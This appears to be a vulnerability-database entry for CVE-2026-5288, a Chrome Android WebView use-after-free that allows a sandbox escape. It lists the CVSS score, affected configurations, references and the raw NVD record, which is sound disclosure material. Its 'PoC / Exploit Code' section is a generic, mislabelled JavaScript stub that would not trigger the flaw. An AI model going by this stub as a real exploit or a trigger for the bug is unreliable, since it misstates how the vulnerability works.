CVE-2026-5288

Description

Use after free in WebView in Google Chrome on Android prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome (Android) < 146.0.7680.178

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual Proof of Concept (PoC) for CVE-2026-5288
This code demonstrates the logic flow that might trigger a Use-After-Free.
It is for educational purposes only.
-->
<html>
<head>
    <title>CVE-2026-5288 PoC</title>
</head>
<body>
<script>
    // Step 1: Allocate a vulnerable object in WebView
    let targetObject = document.createElement('div');
    // Attach properties to occupy specific memory slots
    targetObject.data = new ArrayBuffer(0x1000);

    // Step 2: Trigger the free operation
    // In a real scenario, this might be triggered by a specific DOM manipulation
    targetObject.remove();
    targetObject = null; 

    // Step 3: Force Garbage Collection (Implementation dependent)
    if (window.gc) {
        window.gc();
    }

    // Step 4: Attempt to reuse the freed memory
    // If the Use-After-Free exists, this memory may be reallocated by attacker-controlled data
    // leading to potential corruption or code execution.
    let maliciousData = new Uint8Array(0x1000);
    
    // Check for crash or behavior change indicating vulnerability presence
    console.log('PoC execution completed. Monitor for crashes or sandbox escapes.');
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5288
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5288
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5288/
[4] VulDB https://vuldb.com/cve/CVE-2026-5288
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html
[6] https://issues.chromium.org/issues/495507390

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5288", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:02.343", "lastModified": "2026-04-01T16:41:09.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebView in Google Chrome on Android prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/495507390", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}